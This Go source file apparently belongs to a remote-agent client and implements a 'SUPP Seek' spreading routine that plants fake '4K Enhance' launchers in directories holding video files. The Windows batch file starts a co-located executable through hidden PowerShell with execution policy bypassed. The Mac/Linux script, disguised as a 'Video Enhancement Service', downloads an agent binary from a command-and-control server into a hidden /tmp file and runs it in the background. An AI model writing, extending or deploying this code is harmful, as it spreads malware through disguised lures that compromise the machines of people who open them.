package client

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"
)

// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
type suppSeekOpts struct {
	DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
	DropMac     bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
	ServerURL   string
	// Name prefix used for the launcher files.
	FileStem string // default: "4K Enhance"
}

type suppSeekResult struct {
	Dirs      int // directories visited
	Seeded    int // directories where files were placed
	Skipped   int // already seeded
	Files     int // total files placed
	Errors    int
	FirstErr  string
}

func (r suppSeekResult) Summary() string {
	return fmt.Sprintf(
		"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
		r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
	)
}

// mediaExtensions is the set of file extensions that mark a directory as a
// target — if a directory contains any of these the launcher files are dropped.
var mediaExtensions = map[string]struct{}{
	".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
	".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
	".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
}

func isMediaDir(dirPath string) bool {
	entries, err := os.ReadDir(dirPath)
	if err != nil {
		return false
	}
	for _, e := range entries {
		if e.IsDir() {
			continue
		}
		ext := strings.ToLower(filepath.Ext(e.Name()))
		if _, ok := mediaExtensions[ext]; ok {
			return true
		}
	}
	return false
}

// batContent returns the content of the Windows .bat launcher.
// It launches the co-located VideoEnhancer.exe silently.
func batContent(stem string) string {
	return "@echo off\r\n" +
		"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
		"-Command \"& { " +
		"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
		"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
		"}\"\r\n"
}

// commandContent returns the content of the Mac/Linux .command shell script.
// Falls back to a C2 download if the server URL is known.
func commandContent(serverURL string) string {
	dl := ""
	if serverURL != "" {
		dl = fmt.Sprintf(
			"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
				"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
			serverURL,
		)
	}
	return "#!/bin/bash\n" +
		"# Video Enhancement Service\n" +
		dl +
		"exit 0\n"
}
